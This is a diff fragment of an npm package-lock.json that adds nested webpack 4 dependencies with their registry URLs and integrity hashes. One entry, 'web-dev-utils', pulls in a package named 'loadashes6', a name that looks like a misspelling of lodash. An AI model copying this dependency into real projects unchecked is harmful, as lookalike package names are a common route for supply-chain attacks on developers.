+                    "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+                    "optional": true,
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-descriptor": {
+                    "version": "1.0.2",
+                    "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+                    "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+                    "optional": true,
+                    "requires": {
+                        "is-accessor-descriptor": "^1.0.0",
+                        "is-data-descriptor": "^1.0.0",
+                        "kind-of": "^6.0.2"
+                    }
+                },
+                "is-number": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+                    "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==",
+                    "optional": true,
+                    "requires": {
+                        "kind-of": "^3.0.2"
+                    },
+                    "dependencies": {
+                        "kind-of": {
+                            "version": "3.2.2",
+                            "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                            "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                            "optional": true,
+                            "requires": {
+                                "is-buffer": "^1.1.5"
+                            }
+                        }
+                    }
+                },
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==",
+                    "optional": true
+                },
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==",
+                    "optional": true
+                },
+                "micromatch": {
+                    "version": "3.1.10",
+                    "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+                    "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+                    "optional": true,
+                    "requires": {
+                        "arr-diff": "^4.0.0",
+                        "array-unique": "^0.3.2",
+                        "braces": "^2.3.1",
+                        "define-property": "^2.0.2",
+                        "extend-shallow": "^3.0.2",
+                        "extglob": "^2.0.4",
+                        "fragment-cache": "^0.2.1",
+                        "kind-of": "^6.0.2",
+                        "nanomatch": "^1.2.9",
+                        "object.pick": "^1.3.0",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.2"
+                    }
+                },
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "optional": true,
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                },
+                "readdirp": {
+                    "version": "2.2.1",
+                    "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz",
+                    "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==",
+                    "optional": true,
+                    "requires": {
+                        "graceful-fs": "^4.1.11",
+                        "micromatch": "^3.1.10",
+                        "readable-stream": "^2.0.2"
+                    }
+                },
+                "to-regex-range": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz",
+                    "integrity": "sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==",
+                    "optional": true,
+                    "requires": {
+                        "is-number": "^3.0.0",
+                        "repeat-string": "^1.6.1"
+                    }
+                }
+            }
+        },
+        "wbuf": {
+            "version": "1.7.3",
+            "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz",
+            "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==",
+            "requires": {
+                "minimalistic-assert": "^1.0.0"
+            }
+        },
+        "weak-lru-cache": {
+            "version": "1.2.2",
+            "resolved": "https://registry.npmjs.org/weak-lru-cache/-/weak-lru-cache-1.2.2.tgz",
+            "integrity": "sha512-DEAoo25RfSYMuTGc9vPJzZcZullwIqRDSI9LOy+fkCJPi6hykCnfKaXTuPBDuXAUcqHXyOgFtHNp/kB2FjYHbw=="
+        },
+        "web-dev-utils": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/web-dev-utils/-/web-dev-utils-1.0.4.tgz",
+            "integrity": "sha512-VlXEuq6+fsI247gSWR0006Uce3L64niEhIOC6Ll5Qo9LnzH0R13qqkEL1dTBL/kzytD0cMWLTcO71CUF5sYHyQ==",
+            "requires": {
+                "jquery": "^3.6.0",
+                "loadashes6": "^1.0.0",
+                "mout": "^2.0.0-alpha.1"
+            }
+        },
+        "web-namespaces": {
+            "version": "1.1.4",
+            "resolved": "https://registry.npmjs.org/web-namespaces/-/web-namespaces-1.1.4.tgz",
+            "integrity": "sha512-wYxSGajtmoP4WxfejAPIr4l0fVh+jeMXZb08wNc0tMg6xsfZXj3cECqIK0G7ZAqUq0PP8WlMDtaOGVBTAWztNw=="
+        },
+        "webpack": {
+            "version": "4.46.0",
+            "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.46.0.tgz",
+            "integrity": "sha512-6jJuJjg8znb/xRItk7bkT0+Q7AHCYjjFnvKIWQPkNIOyRqoCGvkOs0ipeQzrqz4l5FtN5ZI/ukEHroeX/o1/5Q==",
+            "requires": {
+                "@webassemblyjs/ast": "1.9.0",
+                "@webassemblyjs/helper-module-context": "1.9.0",
+                "@webassemblyjs/wasm-edit": "1.9.0",
+                "@webassemblyjs/wasm-parser": "1.9.0",
+                "acorn": "^6.4.1",
+                "ajv": "^6.10.2",
+                "ajv-keywords": "^3.4.1",
+                "chrome-trace-event": "^1.0.2",
+                "enhanced-resolve": "^4.5.0",
+                "eslint-scope": "^4.0.3",
+                "json-parse-better-errors": "^1.0.2",
+                "loader-runner": "^2.4.0",
+                "loader-utils": "^1.2.3",
+                "memory-fs": "^0.4.1",
+                "micromatch": "^3.1.10",
+                "mkdirp": "^0.5.3",
+                "neo-async": "^2.6.1",
+                "node-libs-browser": "^2.2.1",
+                "schema-utils": "^1.0.0",
+                "tapable": "^1.1.3",
+                "terser-webpack-plugin": "^1.4.3",
+                "watchpack": "^1.7.4",
+                "webpack-sources": "^1.4.1"
+            },
+            "dependencies": {
+                "acorn": {
+                    "version": "6.4.2",
+                    "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.2.tgz",
+                    "integrity": "sha512-XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ=="
+                },
+                "arr-diff": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
+                    "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA=="
+                },
+                "array-unique": {
+                    "version": "0.3.2",
+                    "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
+                    "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ=="
+                },
+                "braces": {
+                    "version": "2.3.2",
+                    "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
+                    "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
+                    "requires": {
+                        "arr-flatten": "^1.1.0",
+                        "array-unique": "^0.3.2",
+                        "extend-shallow": "^2.0.1",
+                        "fill-range": "^4.0.0",
+                        "isobject": "^3.0.1",
+                        "repeat-element": "^1.1.2",
+                        "snapdragon": "^0.8.1",
+                        "snapdragon-node": "^2.0.1",
+                        "split-string": "^3.0.2",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "cacache": {
+                    "version": "12.0.4",
+                    "resolved": "https://registry.npmjs.org/cacache/-/cacache-12.0.4.tgz",
+                    "integrity": "sha512-a0tMB40oefvuInr4Cwb3GerbL9xTj1D5yg0T5xrjGCGyfvbxseIXX7BAO/u/hIXdafzOI5JC3wDwHyf24buOAQ==",
+                    "requires": {
+                        "bluebird": "^3.5.5",
+                        "chownr": "^1.1.1",
+                        "figgy-pudding": "^3.5.1",
+                        "glob": "^7.1.4",
+                        "graceful-fs": "^4.1.15",
+                        "infer-owner": "^1.0.3",
+                        "lru-cache": "^5.1.1",
+                        "mississippi": "^3.0.0",
+                        "mkdirp": "^0.5.1",
+                        "move-concurrently": "^1.0.1",
+                        "promise-inflight": "^1.0.1",
+                        "rimraf": "^2.6.3",
+                        "ssri": "^6.0.1",
+                        "unique-filename": "^1.1.1",
+                        "y18n": "^4.0.0"
+                    }
+                },
+                "eslint-scope": {
+                    "version": "4.0.3",
+                    "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz",
+                    "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==",
+                    "requires": {
+                        "esrecurse": "^4.1.0",
+                        "estraverse": "^4.1.1"
+                    }
+                },
+                "expand-brackets": {
+                    "version": "2.1.4",
+                    "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
+                    "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==",
+                    "requires": {
+                        "debug": "^2.3.3",
+                        "define-property": "^0.2.5",
+                        "extend-shallow": "^2.0.1",
+                        "posix-character-classes": "^0.1.0",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "define-property": {
+                            "version": "0.2.5",
+                            "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+                            "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
+                            "requires": {
+                                "is-descriptor": "^0.1.0"
+                            }
+                        },
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        },
+                        "is-accessor-descriptor": {
+                            "version": "0.1.6",
+                            "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+                            "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
+                            "requires": {
+                                "kind-of": "^3.0.2"
+                            },
+                            "dependencies": {
+                                "kind-of": {
+                                    "version": "3.2.2",
+                                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                                    "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                                    "requires": {
+                                        "is-buffer": "^1.1.5"
+                                    }
+                                }
+                            }
+                        },
+                        "is-data-descriptor": {
+                            "version": "0.1.4",
+                            "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+                            "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
+                            "requires": {
+                                "kind-of": "^3.0.2"
+                            },
+                            "dependencies": {
+                                "kind-of": {
+                                    "version": "3.2.2",
+                                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                                    "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                                    "requires": {
+                                        "is-buffer": "^1.1.5"
+                                    }
+                                }
+                            }
+                        },
+                        "is-descriptor": {
+                            "version": "0.1.6",
+                            "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+                            "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+                            "requires": {
+                                "is-accessor-descriptor": "^0.1.6",
+                                "is-data-descriptor": "^0.1.4",
+                                "kind-of": "^5.0.0"
+                            }
+                        },
+                        "kind-of": {
+                            "version": "5.1.0",
+                            "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+                            "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
+                        }
+                    }
+                },
+                "extglob": {
+                    "version": "2.0.4",
+                    "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
+                    "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
+                    "requires": {
+                        "array-unique": "^0.3.2",
+                        "define-property": "^1.0.0",
+                        "expand-brackets": "^2.1.4",
+                        "extend-shallow": "^2.0.1",
+                        "fragment-cache": "^0.2.1",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "define-property": {
+                            "version": "1.0.0",
+                            "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+                            "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+                            "requires": {
+                                "is-descriptor": "^1.0.0"
+                            }
+                        },
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "fill-range": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
+                    "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==",
+                    "requires": {
+                        "extend-shallow": "^2.0.1",
+                        "is-number": "^3.0.0",
+                        "repeat-string": "^1.6.1",
+                        "to-regex-range": "^2.1.0"
+                    },
+                    "dependencies": {
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "find-cache-dir": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz",
+                    "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==",
+                    "requires": {
+                        "commondir": "^1.0.1",
+                        "make-dir": "^2.0.0",
+                        "pkg-dir": "^3.0.0"
+                    }
+                },
+                "find-up": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+                    "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+                    "requires": {
+                        "locate-path": "^3.0.0"
+                    }
+                },
+                "is-accessor-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-data-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-descriptor": {
+                    "version": "1.0.2",
+                    "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+                    "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+                    "requires": {
+                        "is-accessor-descriptor": "^1.0.0",
+                        "is-data-descriptor": "^1.0.0",
+                        "kind-of": "^6.0.2"
+                    }
+                },
+                "is-number": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+                    "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==",
+                    "requires": {
+                        "kind-of": "^3.0.2"
+                    },
+                    "dependencies": {
+                        "kind-of": {
+                            "version": "3.2.2",
+                            "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                            "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                            "requires": {
+                                "is-buffer": "^1.1.5"
+                            }
+                        }
+                    }
+                },
+                "is-wsl": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz",
+                    "integrity": "sha512-gfygJYZ2gLTDlmbWMI0CE2MwnFzSN/2SZfkMlItC4K/JBlsWVDB0bO6XhqcY13YXE7iMcAJnzTCJjPiTeJJ0Mw=="
+                },
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                },
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                },
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                },
+                "loader-utils": {
+                    "version": "1.4.0",
+                    "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
+                    "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
+                    "requires": {
+                        "big.js": "^5.2.2",
+                        "emojis-list": "^3.0.0",
+                        "json5": "^1.0.1"
+                    }
+                },
+                "locate-path": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+                    "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+                    "requires": {
+                        "p-locate": "^3.0.0",
+                        "path-exists": "^3.0.0"
+                    }
+                },
+                "lru-cache": {
+                    "version": "5.1.1",
+                    "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
+                    "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
+                    "requires": {
+                        "yallist": "^3.0.2"
+                    }
+                },
+                "make-dir": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz",
+                    "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==",
+                    "requires": {
+                        "pify": "^4.0.1",
+                        "semver": "^5.6.0"
+                    }
+                },
+                "micromatch": {
+                    "version": "3.1.10",
+                    "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+                    "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+                    "requires": {
+                        "arr-diff": "^4.0.0",
+                        "array-unique": "^0.3.2",
+                        "braces": "^2.3.1",
+                        "define-property": "^2.0.2",
+                        "extend-shallow": "^3.0.2",
+                        "extglob": "^2.0.4",
+                        "fragment-cache": "^0.2.1",
+                        "kind-of": "^6.0.2",
+                        "nanomatch": "^1.2.9",
+                        "object.pick": "^1.3.0",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.2"
+                    }
+                },
+                "p-locate": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+                    "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+                    "requires": {
+                        "p-limit": "^2.0.0"
+                    }
+                },
+                "path-exists": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+                    "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ=="
+                },
+                "pify": {
+                    "version": "4.0.1",
+                    "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+                    "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
+                },
+                "pkg-dir": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz",
+                    "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==",
+                    "requires": {
+                        "find-up": "^3.0.0"
+                    }
+                },
+                "schema-utils": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
+                    "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
+                    "requires": {
+                        "ajv": "^6.1.0",
+                        "ajv-errors": "^1.0.0",
+                        "ajv-keywords": "^3.1.0"
+                    }
+                },
+                "semver": {
+                    "version": "5.7.1",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+                    "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
+                },
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                },
+                "ssri": {
+                    "version": "6.0.2",
+                    "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.2.tgz",
+                    "integrity": "sha512-cepbSq/neFK7xB6A50KHN0xHDotYzq58wWCa5LeWqnPrHG8GzfEjO/4O8kpmcGW+oaxkvhEJCWgbgNk4/ZV93Q==",
+                    "requires": {
+                        "figgy-pudding": "^3.5.1"
+                    }
+                },
+                "terser-webpack-plugin": {
+                    "version": "1.4.5",
+                    "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.5.tgz",
+                    "integrity": "sha512-04Rfe496lN8EYruwi6oPQkG0vo8C+HT49X687FZnpPF0qMAIHONI6HEXYPKDOE8e5HjXTyKfqRd/agHtH0kOtw==",
+                    "requires": {
+                        "cacache": "^12.0.2",
+                        "find-cache-dir": "^2.1.0",
+                        "is-wsl": "^1.1.0",
+                        "schema-utils": "^1.0.0",
+                        "serialize-javascript": "^4.0.0",
+                        "source-map": "^0.6.1",
+                        "terser": "^4.1.2",
+                        "webpack-sources": "^1.4.0",
+                        "worker-farm": "^1.7.0"
+                    }
+                },
+                "to-regex-range": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz",
+                    "integrity": "sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==",
+                    "requires": {
+                        "is-number": "^3.0.0",
+                        "repeat-string": "^1.6.1"
+                    }
+                },
+                "y18n": {
+                    "version": "4.0.3",
+                    "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
+                    "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ=="
+                },
+                "yallist": {
+                    "version": "3.1.1",
+                    "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
+                    "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
+                }
+            }
+        },
